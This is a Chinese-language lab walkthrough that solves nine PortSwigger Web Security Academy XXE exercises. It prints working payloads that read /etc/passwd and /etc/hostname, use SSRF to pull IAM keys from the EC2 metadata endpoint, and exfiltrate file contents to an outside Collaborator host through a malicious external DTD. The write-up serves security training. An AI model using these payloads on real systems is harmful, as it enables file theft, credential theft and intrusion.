Portswigger web security academy:XML external entity (XXE) injection
Portswigger web security academy:XML external entity (XXE) injection
- Portswigger web security academy:XML external entity (XXE) injection
- 1 - Exploiting XXE using external entities to retrieve files
- 2 - Exploiting XXE to perform SSRF attacks
- 3 - Blind XXE with out-of-band interaction
- 4 - Blind XXE with out-of-band interaction via XML parameter entities
- 5 - Exploiting blind XXE to exfiltrate data using a malicious external DTD
- 6 - Exploiting blind XXE to retrieve data via error messages
- 7 -Exploiting XXE to retrieve data by repurposing a local DTD
- 8 - Exploiting XInclude to retrieve files
- 9 - Exploiting XXE via image file upload
1 - Exploiting XXE using external entities to retrieve files
-
题目描述
- Check stock功能点可能存在XXE
-
要求
- 读取
/etc/passwd
- 读取
-
解题过程
-
构造读取文件的exp
-
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE xxe [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]> <stockCheck><productId>1&ext;</productId><storeId>1</storeId></stockCheck>
-
-
2 - Exploiting XXE to perform SSRF attacks
-
题目描述
- Check stock功能点可以XXE
- 在
169.254.169.254
存在EC2元数据端点
-
要求
- 利用XXE进行SSRF,获取EC2中的IAM secret access key
-
解题步骤
-
构造exp
-
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]> <stockCheck><productId>&xxe;</productId><storeId>1&xxe;</storeId></stockCheck>
-
这里需要把实体放在
productId
中,因为该参数出错后会把输入的内容返回 -
请求会返回目录,根据返回的目录逐层进入即可
-
-
3 - Blind XXE with out-of-band interaction
-
题目描述
- Check stock存在XXE
- 但是没有返回
-
要求
- 实现OOB(Out-Of-Band 外带) XXE
-
解题过程
-
利用burp自带的Collaborator构造exp
-
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://zrusv2avyq5v1n31ir5cestoefk58u.burpcollaborator.net/"> ]> <stockCheck><productId>&xxe;</productId><storeId>1&xxe;</storeId></stockCheck>
-
4 - Blind XXE with out-of-band interaction via XML parameter entities
-
题目描述
- Check stock存在XXE
- 会阻止包含常规外部实体的请求
-
要求
- 实现OOB XXE
-
解题过程
-
从材料中得知,除了普通的外部实体,还有参数实体
-
借助参数实体构造exp
-
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE asd [ <!ENTITY % xxe SYSTEM "http://qwqj0tfm3ham6e8snia3jjyfj6pxdm.burpcollaborator.net"> %xxe; ]> <stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
-
-
5 - Exploiting blind XXE to exfiltrate data using a malicious external DTD
-
题目描述
- Check stock存在XXE
-
要求
- 获取
/etc/hostname
的内容
- 获取
-
解题步骤
-
借助collaborator构造参数实体exp并上传到exploirt server
-
<!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://y98rd1sugpnujml00qnbwrbnwe26qv.burpcollaborator.net/?%file;'>"> %eval; %exfiltrate;
-
其中的
%
是%
的十六进制下的实体编码,用实体编码是为了防止报错 -
%eval
会解码并执行<!ENTITY % exfiltrate SYSTEM 'http://y98rd1sugpnujml00qnbwrbnwe26qv.burpcollaborator.net/?%file;'>
,即进行参数实体exfiltrate
的定义声明
-
-
构造xxe加载exp
-
<!DOCTYPE asd [<!ENTITY % ext SYSTEM "https://ac8f1f291f206d6880971508018f00ac.web-security-academy.net/exploit"> %ext;]
-
-
在collaborator client查看请求,复制并提交hostname
-
6 - Exploiting blind XXE to retrieve data via error messages
-
题目描述
- Check stock存在XXE
- exploit server可以放置恶意DTD
-
要求
- 通过报错信息获取
/etc/passwd
的内容
- 通过报错信息获取
-
解题步骤
-
和上一题类似,先构造参数实体exp并上传到exploit server
-
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;
-
-
构造xxe加载exp
-
<!DOCTYPE asd [<!ENTITY % ext SYSTEM "https://ace71f7f1e8ca62780ce1c5f01dd00a4.web-security-academy.net/exploit"> %ext;]>
-
-
7 -Exploiting XXE to retrieve data by repurposing a local DTD
-
题目描述
- Check stock存在XXE
- 主机存在DTD文件
/usr/share/yelp/dtd/docbookx.dtd
,且其中有一个实体叫做ISOamso
-
要求
- 借助材料中介绍的重定义外部DTD的方法,获取
/etc/passwd
的内容
- 借助材料中介绍的重定义外部DTD的方法,获取
-
解题步骤
-
材料已经写的很详细了,直接构造exp
-
<!DOCTYPE foo [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]>
-
这个exp解决了当主机无法加载外网DTD文件时如何进行报错XXE的问题
-
巧妙之处在于,直接提交的XML:一个内部实体中不能包含另一个实体,但是通过加载并重定义本地DTD文件中的实体,可以解决这个问题
-
-
8 - Exploiting XInclude to retrieve files
-
题目描述
- Check stock存在XXE,用户输入会被嵌入服务端的XML中并随后被解析
-
要求
- 借助
XInclude
语句获取/etc/passwd
文件内容
- 借助
-
解题步骤
-
关于
XInclude
可以看看这篇文章 -
简而言之,它的作用和php的
include
类似,把目标文件的内容包含进来 -
构造exp
-
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
-
-
9 - Exploiting XXE via image file upload
-
题目描述
- 这个lab允许用户上传图片
- 服务端使用
Apache Batik library
处理上传的图片
-
要求
- 通过XXE获取
/etc/hostname
的内容并提交
- 通过XXE获取
-
解题步骤
-
尝试构造exp
-
<?xml version="1.0" standalone="yes"?> <!DOCTYPE asd [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]> <svg><xxx>&xxe;</xxx></svg>
-
报错500,然后尝试了很多其他格式和命名方式,都不行,去看了官方的solution。。。发现需要用svg的标准来写,因为最后内容会被转换为png
-
<?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]> <svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <text font-size="16" x="0" y="16">&xxe;</text> </svg>
-
-